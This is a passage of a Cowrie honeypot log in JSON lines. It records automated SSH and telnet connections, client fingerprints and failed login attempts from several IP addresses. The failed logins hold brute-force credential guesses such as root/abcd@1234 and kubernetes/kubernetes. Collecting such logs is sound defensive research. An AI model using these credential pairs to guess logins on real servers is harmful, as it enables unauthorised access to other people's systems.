{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:26:32.541325Z","src_ip":"45.153.34.114","session":"928f438dd535","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:26:32.625419Z","src_ip":"45.153.34.114","session":"928f438dd535","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.738884210586548,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:26:32.721527Z","src_ip":"50.6.8.71","session":"1b012be6564f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"kubernetes","password":"kubernetes","message":"login attempt [kubernetes/kubernetes] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:26:32.876223Z","src_ip":"45.153.34.114","session":"928f438dd535","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:26:33.963610Z","src_ip":"45.153.34.114","session":"928f438dd535","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":45518,"dst_ip":"159.203.135.109","dst_port":22,"session":"c3f606049ac7","protocol":"ssh","message":"New connection: 45.153.34.114:45518 (159.203.135.109:22) [session: c3f606049ac7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:26:39.974183Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:26:39.978205Z","src_ip":"45.153.34.114","session":"c3f606049ac7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:26:40.069833Z","src_ip":"45.153.34.114","session":"c3f606049ac7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo18","password":"odoo18","message":"login attempt [odoo18/odoo18] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:26:40.327362Z","src_ip":"45.153.34.114","session":"c3f606049ac7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":36248,"dst_ip":"159.203.135.109","dst_port":22,"session":"240d0ecdd347","protocol":"ssh","message":"New connection: 103.75.199.4:36248 (159.203.135.109:22) [session: 240d0ecdd347]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:26:40.631853Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:26:40.636539Z","src_ip":"103.75.199.4","session":"240d0ecdd347","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:26:40.728353Z","src_ip":"103.75.199.4","session":"240d0ecdd347","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elk","password":"elk@123","message":"login attempt [elk/elk@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:26:41.003206Z","src_ip":"103.75.199.4","session":"240d0ecdd347","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:26:41.537359Z","src_ip":"45.153.34.114","session":"c3f606049ac7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:26:42.096570Z","src_ip":"103.75.199.4","session":"240d0ecdd347","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":45528,"dst_ip":"159.203.135.109","dst_port":22,"session":"0cea2d76ea85","protocol":"ssh","message":"New connection: 45.153.34.114:45528 (159.203.135.109:22) [session: 0cea2d76ea85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:26:48.113744Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:26:48.118203Z","src_ip":"45.153.34.114","session":"0cea2d76ea85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:26:48.219680Z","src_ip":"45.153.34.114","session":"0cea2d76ea85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd@1234","message":"login attempt [root/abcd@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:26:48.495736Z","src_ip":"45.153.34.114","session":"0cea2d76ea85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":39064,"dst_ip":"10.17.0.5","dst_port":22,"session":"dde5ae39d329","protocol":"ssh","message":"New connection: 80.94.92.182:39064 (10.17.0.5:22) [session: dde5ae39d329]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:26:49.432316Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:26:49.588755Z","src_ip":"45.153.34.114","session":"0cea2d76ea85","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:26:49.623381Z","src_ip":"80.94.92.182","session":"dde5ae39d329","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:26:49.627052Z","src_ip":"80.94.92.182","session":"dde5ae39d329","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"validator","password":"validator","message":"login attempt [validator/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:26:50.527889Z","src_ip":"80.94.92.182","session":"dde5ae39d329","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:26:51.804585Z","src_ip":"80.94.92.182","session":"dde5ae39d329","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":45582,"dst_ip":"159.203.135.109","dst_port":22,"session":"79cb40857a8a","protocol":"ssh","message":"New connection: 45.153.34.114:45582 (159.203.135.109:22) [session: 79cb40857a8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:26:55.989816Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:26:55.994490Z","src_ip":"45.153.34.114","session":"79cb40857a8a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:26:56.078200Z","src_ip":"45.153.34.114","session":"79cb40857a8a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456789","message":"login attempt [admin/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:26:56.340940Z","src_ip":"45.153.34.114","session":"79cb40857a8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:26:57.425721Z","src_ip":"45.153.34.114","session":"79cb40857a8a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":48856,"dst_ip":"159.203.135.109","dst_port":22,"session":"3de7bdb04c70","protocol":"ssh","message":"New connection: 103.75.199.4:48856 (159.203.135.109:22) [session: 3de7bdb04c70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:27:02.572500Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:27:02.577643Z","src_ip":"103.75.199.4","session":"3de7bdb04c70","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:27:02.669313Z","src_ip":"103.75.199.4","session":"3de7bdb04c70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gpuadmin","password":"gpuadmin","message":"login attempt [gpuadmin/gpuadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:27:02.943509Z","src_ip":"103.75.199.4","session":"3de7bdb04c70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":47972,"dst_ip":"159.203.135.109","dst_port":22,"session":"9dae6129f0a5","protocol":"ssh","message":"New connection: 45.153.34.114:47972 (159.203.135.109:22) [session: 9dae6129f0a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:27:03.642006Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:27:03.646687Z","src_ip":"45.153.34.114","session":"9dae6129f0a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:27:03.733190Z","src_ip":"45.153.34.114","session":"9dae6129f0a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:27:04.036901Z","src_ip":"103.75.199.4","session":"3de7bdb04c70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"t1","password":"123456","message":"login attempt [t1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:27:04.076891Z","src_ip":"45.153.34.114","session":"9dae6129f0a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:27:05.165229Z","src_ip":"45.153.34.114","session":"9dae6129f0a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":51074,"dst_ip":"159.203.135.109","dst_port":22,"session":"8b2e0aaed0f6","protocol":"ssh","message":"New connection: 45.153.34.114:51074 (159.203.135.109:22) [session: 8b2e0aaed0f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:27:11.276986Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:27:11.281548Z","src_ip":"45.153.34.114","session":"8b2e0aaed0f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@opens